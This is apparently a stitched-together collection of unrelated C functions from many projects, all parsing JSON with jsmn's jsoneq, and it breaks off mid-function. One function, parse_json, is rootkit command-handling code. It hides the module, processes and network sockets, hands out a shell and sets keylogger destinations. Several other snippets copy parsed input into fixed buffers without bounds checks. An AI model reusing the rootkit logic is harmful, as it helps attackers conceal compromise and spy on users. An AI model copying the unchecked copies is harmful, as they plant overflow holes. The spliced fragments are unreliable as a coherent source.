bool ExtractKeysFromJWKSet(const std::string& jwk_set, KeyIdAndKeyPairs* keys, int session_type) { /*We expect max 128 tokens * FIXME: We need a different and safe JSON parser. */ jsmntok_t t[MAX_JSON_TOKENS]; jsmn_parser parser; int result; const char* jchr = &(jwk_set.c_str()[0]); std::string algorithm; std::string key; std::string keyId; jsmn_init(&parser); result = jsmn_parse(&parser, jchr, jwk_set.size(), t, sizeof(t)/sizeof(t[0])); if(result<0) { std::cout << "Failed to parse JSON" << jwk_set << std::endl; return false; } if(jsoneq(jchr, &t[1], kKeysTag)!=0) { std::cout << "Unable to parse JSON. Expected kKeyTag : " << kKeysTag << std::endl; return false; } KeyIdAndKeyPairs local_keys; /* Ignore the first 2 tokens */ for(int i = 2; i < result; i++) { if(jsoneq(jchr, &t[i], kAlgTag) == 0 && (i+1) < MAX_JSON_TOKENS) { algorithm = std::string(jchr + t[i+1].start, t[i+1].end - t[i+1].start); continue; } if(jsoneq(jchr, &t[i], kKeyTag) == 0 && (i+1) < MAX_JSON_TOKENS) { if(key.size() != 0) { std::cout << "CDMI supports only one key in JSON message. Got multiple keys." << std::endl; return false; } key = std::string(jchr + t[i+1].start, t[i+1].end - t[i+1].start); continue; } if(jsoneq(jchr, &t[i], kKeyIdTag) == 0 && (i+1) < MAX_JSON_TOKENS) { if(keyId.size() != 0) { std::cout << "CDMI supports only one keyID in JSON message. Got multiple keys." << std::endl; return false; } keyId = std::string(jchr + t[i+1].start, t[i+1].end - t[i+1].start); continue; } } KeyIdAndKeyPair keyPair; convertStringsToKeyPair(&keyPair, key, keyId); local_keys.push_back(keyPair); keys->swap(local_keys); return true; }
int main(void) { int i; int r; jsmn_parser p; jsmntok_t t[16]; /* We expect no more than 16 tokens */ jsmn_init(&p); r = jsmn_parse(&p, JSON_STRING, strlen(JSON_STRING), t, sizeof(t) / sizeof(t[0])); if (r < 0) { printf("Failed to parse JSON: %d\n", r); return 1; } /* Assume the top-level element is an object */ if (r < 1 || t[0].type != JSMN_OBJECT) { printf("Object expected\n"); return 1; } /* Loop over all keys of the root object */ for (i = 1; i < r; i++) { if (jsoneq(JSON_STRING, &t[i], "user") == 0) { /* We may use strndup() to fetch string value */ printf("- User: %.*s\n", t[i + 1].end - t[i + 1].start, JSON_STRING + t[i + 1].start); i++; } else if (jsoneq(JSON_STRING, &t[i], "admin") == 0) { /* We may additionally check if the value is either "true" or "false" */ printf("- Admin: %.*s\n", t[i + 1].end - t[i + 1].start, JSON_STRING + t[i + 1].start); i++; } else if (jsoneq(JSON_STRING, &t[i], "uid") == 0) { /* We may want to do strtol() here to get numeric value */ printf("- UID: %.*s\n", t[i + 1].end - t[i + 1].start, JSON_STRING + t[i + 1].start); i++; } else if (jsoneq(JSON_STRING, &t[i], "groups") == 0) { int j; printf("- Groups:\n"); if (t[i + 1].type != JSMN_ARRAY) { continue; /* We expect groups to be an array of strings */ } for (j = 0; j < t[i + 1].size; j++) { jsmntok_t *g = &t[i + j + 2]; printf(" * %.*s\n", g->end - g->start, JSON_STRING + g->start); } i += t[i + 1].size + 1; } else { printf("Unexpected key: %.*s\n", t[i].end - t[i].start, JSON_STRING + t[i].start); } } return 0; }
void parseTwitch(char* content) { if (!strcmp("null", content)) { printf("Nobody is streaming"); return; } int r; int i; jsmn_parser p; jsmntok_t token[20]; /* We expect no more than 20 tokens */ jsmn_init(&p); r = jsmn_parse(&p, content, strlen(content), token, sizeof(token) / sizeof(token[0])); if (r <= 0) { printf("Failed to parse JSON: %d \n", r); return; } else { printf("Aantal tokens found: %d \n", r); } char name[20]; char title[20]; char game[20]; char date[15]; memset(name, 0, 20); memset(title, 0, 20); memset(game, 0, 20); memset(date, 0, 15); for (i = 1; i < r; i++) { if (jsoneq(content, &token[i], "Name") == 0) { getStringToken(content, &token[i + 1], name, 20); i++; } else if (jsoneq(content, &token[i], "Title") == 0) { getStringToken(content, &token[i + 1], title, 20); i++; } else if (jsoneq(content, &token[i], "Game") == 0) { getStringToken(content, &token[i + 1], game, 20); i++; } else if (jsoneq(content, &token[i], "Date") == 0) { getStringToken(content, &token[i + 1], date, 15); i++; } } printf("%s", date); if(strncmp(date, streamid, 15) != 0) { strcpy(data.title, title); strcpy(data.game, game); strcpy(data.name, name); printf("%s - %s - %s", name, title, game); strcpy(streamid, date); setCurrentDisplay(DISPLAY_Twitch, 100); } }
int APP_HTTP_TTN_ParseError(const char* JSON_STRING) { int i; int r; jsmn_parser parser; jsmntok_t tokens[5]; jsmn_init(&parser); r = jsmn_parse(&parser, JSON_STRING, strlen(JSON_STRING), tokens, sizeof(tokens) / sizeof(tokens[0])); if(r < 0) { SYS_DEBUG(SYS_ERROR_ERROR, "ACTI: Failed to parse JSON: %d\r\n", r); return 1; } if(r < 1 || tokens[0].type != JSMN_OBJECT) { SYS_DEBUG(SYS_ERROR_ERROR, "ACTI: Object expected\r\n"); return 1; } for(i = 1; i < r; i++) { if(jsoneq(JSON_STRING, &tokens[i], "code") == 0) { SYS_DEBUG(SYS_ERROR_INFO, "ACTI: parsing - Code: %.*s\r\n", tokens[i + 1].end - tokens[i + 1].start, JSON_STRING + tokens[i + 1].start); memset(appGWActivationData.configuration.error.code, 0, sizeof(appGWActivationData.configuration.error.code)); memcpy(appGWActivationData.configuration.error.code, JSON_STRING + tokens[i + 1].start, tokens[i + 1].end - tokens[i + 1].start); i++; } else if(jsoneq(JSON_STRING, &tokens[i], "error") == 0) { SYS_DEBUG(SYS_ERROR_INFO, "ACTI: parsing - Error: %.*s\r\n", tokens[i + 1].end - tokens[i + 1].start, JSON_STRING + tokens[i + 1].start); memset(appGWActivationData.configuration.error.error, 0, sizeof(appGWActivationData.configuration.error.error)); memcpy(appGWActivationData.configuration.error.error, JSON_STRING + tokens[i + 1].start, tokens[i + 1].end - tokens[i + 1].start); i++; } else { SYS_DEBUG(SYS_ERROR_INFO, "ACTI: parsing - Unexpected key: %.*s\r\n", tokens[i].end - tokens[i].start, JSON_STRING + tokens[i].start); } } return EXIT_SUCCESS; }
bool extractClientToken(const char *pJsonDocument, char *pExtractedClientToken) { bool ret_val = false; jsmn_init(&shadowJsonParser); int32_t tokenCount, i; jsmntok_t ClientJsonToken; tokenCount = jsmn_parse(&shadowJsonParser, pJsonDocument, strlen(pJsonDocument), jsonTokenStruct, sizeof(jsonTokenStruct) / sizeof(jsonTokenStruct[0])); if (tokenCount < 0) { WARN("Failed to parse JSON: %d\n", tokenCount); return false; } /* Assume the top-level element is an object */ if (tokenCount < 1 || jsonTokenStruct[0].type != JSMN_OBJECT) { return false; } for (i = 1; i < tokenCount; i++) { if (jsoneq(pJsonDocument, &jsonTokenStruct[i], SHADOW_CLIENT_TOKEN_STRING) == 0) { ClientJsonToken = jsonTokenStruct[i + 1]; uint8_t length = ClientJsonToken.end - ClientJsonToken.start; strncpy(pExtractedClientToken, pJsonDocument + ClientJsonToken.start, length); pExtractedClientToken[length] = '\0'; return true; } } return false; }
void parseCommandQue(char* content){ int r; int i; jsmn_parser p; jsmntok_t token[150]; /* We expect no more than 128 tokens */ jsmn_init(&p); r = jsmn_parse(&p, content, strlen(content), token, sizeof(token)/sizeof(token[0])); if (r <= 0) { printf("Failed to parse JSON: %d \n", r); return; }else{ printf("Aantal tokens found: %d \n", r); } for(i = 0; i < r; i++) { if (jsoneq(content, &token[i], "command") == 0) { if(jsoneq(content, &token[i + 1], "volume") == 0){ char vol = getIntegerToken(content, &token[i + 3]); printf("Updating volume: \n"); setVolumeManual(vol); //vol = 128 - ((vol * 128) / 100); //VsSetVolume(vol, vol); i += 3; }else if(jsoneq(content, &token[i + 1], "stopstream") == 0){ killPlayerThread(); i += 3; }else if(jsoneq(content, &token[i + 1], "startstream") == 0){ u_short port = getIntegerToken(content, &token[i + 9]); char url[24]; char ip[24]; getStringToken(content, &token[i + 7], url, 24); getStringToken(content, &token[i + 5], ip, 24); bool success = connectToStream(ip, port, url); if (success == true){ play(); }else { printf("ConnectToStream failed. Aborting.\n\n"); } i += 9; } } } }
static char* get_oauth2_addr(dc_context_t* context, const oauth2_t* oauth2, const char* access_token) { char* addr_out = NULL; char* userinfo_url = NULL; char* json = NULL; jsmn_parser parser; jsmntok_t tok[128]; // we do not expect nor read more tokens int tok_cnt = 0; if (context==NULL || context->magic!=DC_CONTEXT_MAGIC || access_token==NULL || access_token[0]==0 || oauth2==NULL) { goto cleanup; } userinfo_url = dc_strdup(oauth2->get_userinfo); replace_in_uri(&userinfo_url, "$ACCESS_TOKEN", access_token); // should returns sth. as // { // "id": "100000000831024152393", // "email": "*****@*****.**", // "verified_email": true, // "picture": "https://lh4.googleusercontent.com/-Gj5jh_9R0BY/AAAAAAAAAAI/AAAAAAAAAAA/IAjtjfjtjNA/photo.jpg" // } json = (char*)context->cb(context, DC_EVENT_HTTP_GET, (uintptr_t)userinfo_url, 0); if (json==NULL) { dc_log_warning(context, 0, "Error getting userinfo."); goto cleanup; } jsmn_init(&parser); tok_cnt = jsmn_parse(&parser, json, strlen(json), tok, sizeof(tok)/sizeof(tok[0])); if (tok_cnt<2 || tok[0].type!=JSMN_OBJECT) { dc_log_warning(context, 0, "Failed to parse userinfo."); goto cleanup; } for (int i = 1; i < tok_cnt; i++) { if (addr_out==NULL && jsoneq(json, &tok[i], "email")==0) { addr_out = jsondup(json, &tok[i+1]); } } if (addr_out==NULL) { dc_log_warning(context, 0, "E-mail missing in userinfo."); } cleanup: free(userinfo_url); free(json); return addr_out; }
LOCAL int8_t ICACHE_FLASH_ATTR json_get_value(const char *json, jsmntok_t *tok, const char *key, char **value) { if (jsoneq(json, tok, key) == 0 && tok[1].type == JSMN_STRING) { uint32_t len = tok[1].end-tok[1].start; // clean memory if *value is allocated before if (*value != NULL) os_free(*value); *value = (char*) os_zalloc(len+1); os_strncpy(*value, (char*)(json+ tok[1].start), len); // INFO("%s: %s\n", key, *value); return 0; } return -1; }
bool extractVersionNumber(const char *pJsonDocument, void *pJsonHandler, int32_t tokenCount, uint32_t *pVersionNumber) { int32_t i; IoT_Error_t ret_val = AWS_SUCCESS; IOT_UNUSED(pJsonHandler); for(i = 1; i < tokenCount; i++) { if(jsoneq(pJsonDocument, &(jsonTokenStruct[i]), SHADOW_VERSION_STRING) == 0) { ret_val = parseUnsignedInteger32Value(pVersionNumber, pJsonDocument, &jsonTokenStruct[i + 1]); if(ret_val == AWS_SUCCESS) { return true; } } } return false; }
bool extractVersionNumber(const char *pJsonDocument, void *pJsonHandler, int32_t tokenCount, uint32_t *pVersionNumber) { int32_t i; jsmntok_t *pJsonTokenStruct; IoT_Error_t ret_val = NONE_ERROR; pJsonTokenStruct = (jsmntok_t *) pJsonHandler; for (i = 1; i < tokenCount; i++) { if (jsoneq(pJsonDocument, &(jsonTokenStruct[i]), SHADOW_VERSION_STRING) == 0) { jsmntok_t dataToken = jsonTokenStruct[i + 1]; uint32_t dataLength = dataToken.end - dataToken.start; ret_val = parseUnsignedInteger32Value(pVersionNumber, pJsonDocument, &dataToken); if (ret_val == NONE_ERROR) { return true; } } } return false; }
bool isJsonKeyMatchingAndUpdateValue(const char *pJsonDocument, void *pJsonHandler, int32_t tokenCount, jsonStruct_t *pDataStruct, uint32_t *pDataLength, int32_t *pDataPosition) { int32_t i; uint32_t dataLength; jsmntok_t dataToken; for(i = 1; i < tokenCount; i++) { if(jsoneq(pJsonDocument, &(jsonTokenStruct[i]), pDataStruct->pKey) == 0) { dataToken = jsonTokenStruct[i + 1]; dataLength = (uint32_t) (dataToken.end - dataToken.start); UpdateValueIfNoObject(pJsonDocument, pDataStruct, dataToken); *pDataPosition = dataToken.start; *pDataLength = dataLength; return true; } } return false; }
static int parse_json(char *json_str) { int r; int flag; int count; int j; char *endptr; int pid; int port; struct siginfo info; jsmn_init(&p); r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0])); if (r < 0) { DEBUG_PRINT("[Error] failed to parse JSON"); return 1; } /* Assume the top-level element is an object */ if (r < 1 || t[0].type != JSMN_OBJECT) { DEBUG_PRINT("[Error] JSMN object expected"); return 1; } DEBUG_PRINT("received new configuration"); /* Loop over all keys of the root object */ for (i=1 ; i<r ; i++) if (!jsoneq(json_str, &t[i], "unload_module")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false"); if (flag) unload_module(); } else if (!jsoneq(json_str, &t[i], "hide_module")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false"); if (flag) mask_module(); } else if (!jsoneq(json_str, &t[i], "unhide_module")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false"); if (flag) unmask_module(); } else if (!jsoneq(json_str, &t[i], "provide_shell")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false"); if (flag) { memset(&info, 0, sizeof(struct siginfo)); info.si_signo = 36; info.si_code = SI_QUEUE; info.si_int = 1234; send_sig_info(36, &info, shell_provider_task); } } else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "keylogging_dest", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); set_remote_dest(values[j]); } } else if (!jsoneq(json_str, &t[i], "hide_processes")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_processes", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); pid = simple_strtol(values[j], &endptr, 10); mask_process(pid); } } else if (!jsoneq(json_str, &t[i], "unhide_processes")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_processes", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); pid = simple_strtol(values[j], &endptr, 10); unmask_process(pid); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("tcp4", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("tcp4", port); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("tcp6", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("tcp6", port); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("udp4", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("udp4", port); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("udp6", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("udp6", port); } } else { //printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start, // json_str + t[i].start); ; } return 0; }
int8_t ICACHE_FLASH_ATTR parse_fota(const char *json, uint32_t len, char **version, char **host, char **path, char **protocol) { int count = 0; int i; int r; jsmn_parser par; jsmntok_t tok[128]; /* We expect no more than 128 tokens */ // prepare pointer *version = NULL; *host = NULL; *path = NULL; *protocol = NULL; jsmn_init(&par); r = jsmn_parse(&par, json, len, tok, sizeof(tok)/sizeof(tok[0])); if (r < 0) { INFO("Failed to parse JSON: %d\n", r); return FAILED; } // Assume the top-level element is an object if (r < 1 || tok[0].type != JSMN_OBJECT) { INFO("Object expected\n"); return FAILED; } // Loop over all keys of the root object for (i = 1; i < r; i++) { if (jsoneq(json, &tok[i], "last") == 0) { // We expect groups to be an object if (tok[i+1].type != JSMN_OBJECT) continue; int j; int z=0; char value[100]; for (j = 0; j < tok[i+1].size; j++) { if (json_get_value(json, &tok[i+z+2], "version", version) == 0) { count += 1; } else if (json_get_value(json, &tok[i+z+2], "host", host) == 0) count += 1; else if (json_get_value(json, &tok[i+z+2], "path", path) == 0) count += 1; else if (json_get_value(json, &tok[i+z+2], "protocol", protocol) == 0) count += 1; z += 2; // we expect key: value under last object } } } // clean up malloc when parsing failed if (count < 4) { FREE(*version); FREE(*host); FREE(*path); FREE(*protocol); return FAILED; } else return SUCCESS; }
char* dc_get_oauth2_access_token(dc_context_t* context, const char* addr, const char* code, int flags) { oauth2_t* oauth2 = NULL; char* access_token = NULL; char* refresh_token = NULL; char* refresh_token_for = NULL; char* redirect_uri = NULL; int update_redirect_uri_on_success = 0; char* token_url = NULL; time_t expires_in = 0; char* error = NULL; char* error_description = NULL; char* json = NULL; jsmn_parser parser; jsmntok_t tok[128]; // we do not expect nor read more tokens int tok_cnt = 0; int locked = 0; if (context==NULL || context->magic!=DC_CONTEXT_MAGIC || code==NULL || code[0]==0) { dc_log_warning(context, 0, "Internal OAuth2 error"); goto cleanup; } if ((oauth2=get_info(addr))==NULL) { dc_log_warning(context, 0, "Internal OAuth2 error: 2"); goto cleanup; } pthread_mutex_lock(&context->oauth2_critical); locked = 1; // read generated token if ( !(flags&DC_REGENERATE) && !is_expired(context) ) { access_token = dc_sqlite3_get_config(context->sql, "oauth2_access_token", NULL); if (access_token!=NULL) { goto cleanup; // success } } // generate new token: build & call auth url refresh_token = dc_sqlite3_get_config(context->sql, "oauth2_refresh_token", NULL); refresh_token_for = dc_sqlite3_get_config(context->sql, "oauth2_refresh_token_for", "unset"); if (refresh_token==NULL || strcmp(refresh_token_for, code)!=0) { dc_log_info(context, 0, "Generate OAuth2 refresh_token and access_token..."); redirect_uri = dc_sqlite3_get_config(context->sql, "oauth2_pending_redirect_uri", "unset"); update_redirect_uri_on_success = 1; token_url = dc_strdup(oauth2->init_token); } else { dc_log_info(context, 0, "Regenerate OAuth2 access_token by refresh_token..."); redirect_uri = dc_sqlite3_get_config(context->sql, "oauth2_redirect_uri", "unset"); token_url = dc_strdup(oauth2->refresh_token); } replace_in_uri(&token_url, "$CLIENT_ID", oauth2->client_id); replace_in_uri(&token_url, "$REDIRECT_URI", redirect_uri); replace_in_uri(&token_url, "$CODE", code); replace_in_uri(&token_url, "$REFRESH_TOKEN", refresh_token); json = (char*)context->cb(context, DC_EVENT_HTTP_POST, (uintptr_t)token_url, 0); if (json==NULL) { dc_log_warning(context, 0, "Error calling OAuth2 at %s", token_url); goto cleanup; } // generate new token: parse returned json jsmn_init(&parser); tok_cnt = jsmn_parse(&parser, json, strlen(json), tok, sizeof(tok)/sizeof(tok[0])); if (tok_cnt<2 || tok[0].type!=JSMN_OBJECT) { dc_log_warning(context, 0, "Failed to parse OAuth2 json from %s", token_url); goto cleanup; } for (int i = 1; i < tok_cnt; i++) { if (access_token==NULL && jsoneq(json, &tok[i], "access_token")==0) { access_token = jsondup(json, &tok[i+1]); } else if (refresh_token==NULL && jsoneq(json, &tok[i], "refresh_token")==0) { refresh_token = jsondup(json, &tok[i+1]); } else if (jsoneq(json, &tok[i], "expires_in")==0) { char* expires_in_str = jsondup(json, &tok[i+1]); if (expires_in_str) { time_t val = atol(expires_in_str); // val should be reasonable, maybe between 20 seconds and 5 years. // if out of range, we re-create when the token gets invalid, // which may create some additional load and requests wrt threads. if (val>20 && val<(60*60*24*365*5)) { expires_in = val; } free(expires_in_str); } } else if (error==NULL && jsoneq(json, &tok[i], "error")==0) { error = jsondup(json, &tok[i+1]); } else if (error_description==NULL && jsoneq(json, &tok[i], "error_description")==0) { error_description = jsondup(json, &tok[i+1]); } } if (error || error_description) { dc_log_warning(context, 0, "OAuth error: %s: %s", error? error : "unknown", error_description? error_description : "no details"); // continue, errors do not imply everything went wrong } // update refresh_token if given, typically on the first round, but we update it later as well. if (refresh_token && refresh_token[0]) { dc_sqlite3_set_config(context->sql, "oauth2_refresh_token", refresh_token); dc_sqlite3_set_config(context->sql, "oauth2_refresh_token_for", code); } // after that, save the access token. // if it's unset, we may get it in the next round as we have the refresh_token now. if (access_token==NULL || access_token[0]==0) { dc_log_warning(context, 0, "Failed to find OAuth2 access token"); goto cleanup; } dc_sqlite3_set_config(context->sql, "oauth2_access_token", access_token); dc_sqlite3_set_config_int64(context->sql, "oauth2_timestamp_expires", expires_in? time(NULL)+expires_in-5/*refresh a bet before*/ : 0); if (update_redirect_uri_on_success) { dc_sqlite3_set_config(context->sql, "oauth2_redirect_uri", redirect_uri); } cleanup: if (locked) { pthread_mutex_unlock(&context->oauth2_critical); } free(refresh_token); free(refresh_token_for); free(redirect_uri); free(token_url); free(json); free(error); free(error_description); free(oauth2); return access_token? access_token : dc_strdup(NULL); }
int readCfg() { const size_t tokenNum = 1 + CFG_NUM * 2; jsmntok_t t[tokenNum]; char buf[128]; jsmn_parser parser; File fd; unsigned int i, j, k; int r; size_t len; if (!FileOpen(&fd, jsonPath, 0)) return 1; len = FileGetSize(&fd); if (len > sizeof(buf)) return 1; FileRead(&fd, buf, len, 0); FileClose(&fd); jsmn_init(&parser); r = jsmn_parse(&parser, buf, len, t, tokenNum); if (r < 0) return r; if (r < 1) return 1; /* Loop over all keys of the root object */ for (i = 1; i < r; i++) { for (j = 0; jsoneq(buf, &t[i], cfgs[j].key) != 0; j++) if (j >= CFG_NUM) return 1; i++; switch (cfgs[j].type) { case CFG_TYPE_INT: cfgs[j].val.i = 0; for (k = t[i].start; k < t[i].end; k++) { cfgs[j].val.i *= 10; cfgs[j].val.i += buf[k] - 48; } break; case CFG_TYPE_BOOLEAN: len = t[i].end - t[i].start; cfgs[j].val.i = buf[t[i].start] == 't'; break; case CFG_TYPE_STRING: len = t[i].end - t[i].start; if (len + 1 > CFG_STR_MAX_LEN) break; #ifdef DEBUG if (cfgs[j].val.s == NULL) break; #endif memcpy(cfgs[j].val.s, buf + t[i].start, len); cfgs[j].val.s[len] = 0; } } return 0; }
/** * Parse JSON and call adequate function from lookup table */ int erpcCall(char* req, uint8_t size) { int i; int r; jsmn_parser p; jsmntok_t t[16]; /* We expect no more than 128 tokens */ jsmn_init(&p); r = jsmn_parse(&p, req, size, t, sizeof(t)/sizeof(t[0])); if (r < 0) { #ifdef ERPC_DEBUG printf("Failed to parse JSON: %d\n", r); #endif return 1; } /* Assume the top-level element is an object */ if (r < 1 || t[0].type != JSMN_OBJECT) { #ifdef ERPC_DEBUG printf("Object expected\n"); #endif return 1; } /* Loop over all keys of the root object */ for (i = 1; i < r; i++) { if (jsoneq(req, &t[i], JSONRPC_METHOD_KEY) == 0) { int size = t[i+1].end-t[i+1].start; /* We may use strndup() to fetch string value */ memcpy(method, req + t[i+1].start, t[i+1].end-t[i+1].start); method[size] = '\0'; #ifdef ERPC_DEBUG printf("- Method: %s\n", method); #endif fncIdx = fnv1a_hash(method) % FNC_TABLE_SIZE; #ifdef ERPC_DEBUG printf("- Function Table Index: %d\n", fncIdx); #endif i++; } else if (jsoneq(req, &t[i], JSONRPC_PARAMS_KEY) == 0) { int j; #ifdef ERPC_DEBUG printf("- Params:\n"); #endif /** Reset paramNb */ paramNb = 0; if (t[i+1].type != JSMN_ARRAY) { continue; /* We expect params to be an array of strings */ } for (j = 0; j < t[i+1].size; j++) { jsmntok_t *g = &t[i+j+2]; int paramSize = g->end - g->start; memcpy(params[paramNb], req + g->start, paramSize); params[paramNb][paramSize] = '\0'; #ifdef ERPC_DEBUG printf(" * %s\n", params[paramNb]); #endif paramNb++; } i += t[i+1].size + 1; } else if (jsoneq(req, &t[i], JSONRPC_REPLY_TO_KEY) == 0) { int size = t[i+1].end-t[i+1].start; /* We may want to do strtol() here to get numeric value */ memcpy(replyTo, req + t[i+1].start, size); replyTo[size] = '\0'; #ifdef ERPC_DEBUG printf("- replyTo: %s\n", replyTo); #endif i++; } else { #ifdef ERPC_DEBUG printf("Unexpected key: %.*s\n", t[i].end-t[i].start, req + t[i].start); #endif } } /** Call the function only if the pointer is not pointing on the reset * vecotr (0x0) */ if (fncTable[fncIdx] == 0) SendStatus(STATUS_UNRECOGNIZED); else fncTable[fncIdx](paramNb, params); return 0; }
/**************************************************************************//** * Get a top-level string value from supplied JSON by matching the key. * * Unlike json_get_string, this only returns a value that is in the top-level * JSON object. * * @param[in] json_string The string which contains the JSON and has already * been parsed. * @param[in] tokens The tokens which the JSON parser found in the JSON. * @param[in] json_token_count How many tokens were found. * @param[in] key The key we're looking for. * @param[out] value The string we found at @p key. * * @returns Status code * @retval EVEL_SUCCESS On success - contents of @p value updated. * @retval EVEL_JSON_KEY_NOT_FOUND Key not found - @p value not updated. * @retval EVEL_BAD_JSON Parser hit unexpected data - @p value not * updated. *****************************************************************************/ static EVEL_ERR_CODES json_get_top_level_string(const char * json_string, const jsmntok_t * tokens, int json_token_count, const char * key, char * value) { EVEL_ERR_CODES rc = EVEL_JSON_KEY_NOT_FOUND; int token_num = 0; int token_len = 0; int bracket_count = 0; int string_index = 0; int increment = 0; EVEL_ENTER(); /***************************************************************************/ /* Check assumptions. */ /***************************************************************************/ assert(json_string != NULL); assert(tokens != NULL); assert(json_token_count >= 0); assert(key != NULL); assert(value != NULL); for (token_num = 0; token_num < json_token_count; token_num++) { switch(tokens[token_num].type) { case JSMN_OBJECT: EVEL_DEBUG("Skipping object"); break; case JSMN_ARRAY: EVEL_DEBUG("Skipping array"); break; case JSMN_STRING: /***********************************************************************/ /* This is a string, so may be what we want. Compare keys. */ /***********************************************************************/ if (jsoneq(json_string, &tokens[token_num], key) == 0) { /*********************************************************************/ /* Count the difference in the number of opening and closing */ /* brackets up to this token. This needs to be 1 for a top-level */ /* string. Let's just hope we don't have any strings containing */ /* brackets. */ /*********************************************************************/ increment = ((string_index < tokens[token_num].start) ? 1 : -1); while (string_index != tokens[token_num].start) { if (json_string[string_index] == '{') { bracket_count += increment; } else if (json_string[string_index] == '}') { bracket_count -= increment; } string_index += increment; } if (bracket_count == 1) { token_len = tokens[token_num + 1].end - tokens[token_num + 1].start; EVEL_DEBUG("Token %d len %d matches at top level at %d to %d", token_num, tokens[token_num + 1].start, tokens[token_num + 1].end); strncpy(value, json_string + tokens[token_num + 1].start, token_len); value[token_len] = '\0'; EVEL_DEBUG("Extracted key: \"%s\" Value: \"%s\"", key, value); rc = EVEL_SUCCESS; goto exit_label; } else { EVEL_DEBUG("String key did match, but not at top level"); } } else { EVEL_DEBUG("String key did not match"); } /***********************************************************************/ /* Step over the value, whether we used it or not. */ /***********************************************************************/ token_num++; break; case JSMN_PRIMITIVE: EVEL_INFO("Skipping primitive"); break; case JSMN_UNDEFINED: default: rc = EVEL_BAD_JSON_FORMAT; EVEL_ERROR("Unexpected JSON format at token %d (%d)", token_num, tokens[token_num].type); goto exit_label; } } exit_label: EVEL_EXIT(); return rc; }
/**************************************************************************//** * Get a string value from supplied JSON by matching the key. * * As the structure of the metadata we're looking at is pretty straightforward * we don't do anything complex (a la XPath) to extract nested keys with the * same leaf name, for example. Simply walk the structure until we find a * string with the correct value. * * @param[in] json_string The string which contains the JSON and has already * been parsed. * @param[in] tokens The tokens which the JSON parser found in the JSON. * @param[in] json_token_count How many tokens were found. * @param[in] key The key we're looking for. * @param[out] value The string we found at @p key. * * @returns Status code * @retval EVEL_SUCCESS On success - contents of @p value updated. * @retval EVEL_JSON_KEY_NOT_FOUND Key not found - @p value not updated. * @retval EVEL_BAD_JSON Parser hit unexpected data - @p value not * updated. *****************************************************************************/ static EVEL_ERR_CODES json_get_string(const char * json_string, const jsmntok_t * tokens, int json_token_count, const char * key, char * value) { EVEL_ERR_CODES rc = EVEL_JSON_KEY_NOT_FOUND; int token_num = 0; int token_len = 0; EVEL_ENTER(); /***************************************************************************/ /* Check assumptions. */ /***************************************************************************/ assert(json_string != NULL); assert(tokens != NULL); assert(json_token_count >= 0); assert(key != NULL); assert(value != NULL); for (token_num = 0; token_num < json_token_count; token_num++) { switch(tokens[token_num].type) { case JSMN_OBJECT: EVEL_DEBUG("Skipping object"); break; case JSMN_ARRAY: EVEL_DEBUG("Skipping array"); break; case JSMN_STRING: /***********************************************************************/ /* This is a string, so may be what we want. Compare keys. */ /***********************************************************************/ if (jsoneq(json_string, 